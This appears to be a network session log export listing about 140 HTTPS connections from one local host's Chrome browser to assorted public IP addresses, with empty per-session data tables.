Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
712	192.168.2.17	50542	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
713	192.168.2.17	50559	195.5.165.20	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
714	192.168.2.17	50610	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
715	192.168.2.17	50584	35.236.220.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
716	192.168.2.17	50599	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
717	192.168.2.17	50601	142.250.80.2	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
718	192.168.2.17	50580	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
719	192.168.2.17	50532	50.16.98.63	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
720	192.168.2.17	50560	8.2.111.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
721	192.168.2.17	50555	69.90.254.78	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
722	192.168.2.17	50628	172.64.150.163	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
723	192.168.2.17	50629	54.85.176.124	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
724	192.168.2.17	50633	18.238.55.15	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
725	192.168.2.17	50590	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
726	192.168.2.17	50598	142.250.72.102	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
727	192.168.2.17	50616	18.213.14.175	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
728	192.168.2.17	50606	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
729	192.168.2.17	50602	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
730	192.168.2.17	50615	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
731	192.168.2.17	50637	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
732	192.168.2.17	50549	185.184.8.90	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
733	192.168.2.17	50596	34.239.40.49	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
734	192.168.2.17	50585	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
735	192.168.2.17	50611	35.186.253.211	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
736	192.168.2.17	50641	18.238.55.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
737	192.168.2.17	50642	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
738	192.168.2.17	50567	64.227.64.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
739	192.168.2.17	50655	104.18.25.173	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
740	192.168.2.17	50624	18.238.55.15	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
741	192.168.2.17	50640	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
742	192.168.2.17	50639	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
743	192.168.2.17	50617	104.18.36.155	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
744	192.168.2.17	50654	35.244.154.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
745	192.168.2.17	50634	52.46.130.91	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
746	192.168.2.17	50653	44.195.233.246	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
747	192.168.2.17	50664	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
748	192.168.2.17	50621	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
749	192.168.2.17	50574	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
750	192.168.2.17	50619	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
751	192.168.2.17	50647	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
752	192.168.2.17	50666	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
753	192.168.2.17	50663	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
754	192.168.2.17	50627	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
755	192.168.2.17	50644	104.36.113.111	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
756	192.168.2.17	50665	38.68.201.140	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
757	192.168.2.17	50631	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
758	192.168.2.17	50671	44.205.174.187	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
759	192.168.2.17	50675	34.117.239.71	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
760	192.168.2.17	50672	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
761	192.168.2.17	50673	216.200.232.249	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
762	192.168.2.17	50667	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
763	192.168.2.17	50646	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
764	192.168.2.17	50659	104.18.25.173	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
765	192.168.2.17	50660	108.139.47.105	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
766	192.168.2.17	50700	54.85.176.124	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
767	192.168.2.17	50648	35.211.178.172	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
768	192.168.2.17	50674	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
769	192.168.2.17	50636	185.184.8.90	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
770	192.168.2.17	50686	162.55.120.196	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
771	192.168.2.17	50618	74.119.117.16	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
772	192.168.2.17	50625	34.102.243.38	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
773	192.168.2.17	50680	54.209.155.255	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
774	192.168.2.17	50652	54.85.176.124	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
775	192.168.2.17	50679	38.68.201.140	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
776	192.168.2.17	50643	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
777	192.168.2.17	50651	35.236.220.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
778	192.168.2.17	50662	82.145.213.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
779	192.168.2.17	50622	44.208.175.93	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
780	192.168.2.17	50630	52.203.194.106	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
781	192.168.2.17	50718	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
782	192.168.2.17	50681	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
783	192.168.2.17	50704	44.205.174.187	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
784	192.168.2.17	50702	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
785	192.168.2.17	50716	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
786	192.168.2.17	50689	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
787	192.168.2.17	50658	34.205.179.33	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
788	192.168.2.17	50670	150.136.25.38	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
789	192.168.2.17	50705	142.250.80.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
790	192.168.2.17	50677	35.244.154.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
791	192.168.2.17	50696	18.214.198.116	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
792	192.168.2.17	50685	35.186.193.173	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
793	192.168.2.17	50693	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
794	192.168.2.17	50714	195.5.165.20	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
795	192.168.2.17	50720	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
796	192.168.2.17	50711	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
797	192.168.2.17	50719	35.244.154.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
798	192.168.2.17	50738	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
799	192.168.2.17	50669	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
800	192.168.2.17	50691	52.46.128.147	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
801	192.168.2.17	50684	34.117.239.71	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
802	192.168.2.17	50722	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
803	192.168.2.17	50688	54.83.194.95	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
804	192.168.2.17	50729	142.251.35.162	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
805	192.168.2.17	50694	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
806	192.168.2.17	50701	34.111.113.62	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
807	192.168.2.17	50735	142.250.80.36	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
808	192.168.2.17	50683	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
809	192.168.2.17	50742	142.251.40.132	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
810	192.168.2.17	50754	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
811	192.168.2.17	50748	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
812	192.168.2.17	50715	104.36.113.111	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
813	192.168.2.17	50728	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
814	192.168.2.17	50747	142.250.80.2	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
815	192.168.2.17	50699	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
816	192.168.2.17	50708	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
817	192.168.2.17	50745	52.46.128.147	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
818	192.168.2.17	50749	142.250.65.161	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
819	192.168.2.17	50713	18.238.55.15	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
820	192.168.2.17	50772	34.205.179.33	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
821	192.168.2.17	50732	34.98.64.218	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
822	192.168.2.17	50750	142.250.65.161	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
823	192.168.2.17	50767	52.203.194.106	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
824	192.168.2.17	50687	35.236.220.17	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
825	192.168.2.17	50761	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
826	192.168.2.17	50763	185.184.8.90	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
827	192.168.2.17	50753	142.250.65.161	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
828	192.168.2.17	50757	18.238.55.31	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
829	192.168.2.17	50727	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
830	192.168.2.17	50725	35.186.253.211	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
831	192.168.2.17	50695	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
832	192.168.2.17	50690	34.117.239.71	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
833	192.168.2.17	50724	52.200.127.82	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
834	192.168.2.17	50766	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
835	192.168.2.17	50768	52.203.194.106	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
836	192.168.2.17	50746	131.153.172.94	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
837	192.168.2.17	50734	52.207.45.55	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
838	192.168.2.17	50765	38.68.201.140	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
839	192.168.2.17	50752	142.250.65.161	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
840	192.168.2.17	50758	51.222.105.60	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
841	192.168.2.17	50771	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
842	192.168.2.17	50775	54.85.176.124	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
843	192.168.2.17	50712	3.232.70.209	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
844	192.168.2.17	50769	15.197.193.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
845	192.168.2.17	50784	44.208.175.93	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
846	192.168.2.17	50770	44.205.174.187	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
847	192.168.2.17	50756	69.194.240.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
848	192.168.2.17	50744	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
849	192.168.2.17	50717	5.161.187.67	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
850	192.168.2.17	50776	54.85.176.124	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
851	192.168.2.17	50723	23.83.76.52	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
852	192.168.2.17	50698	8.2.111.13	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

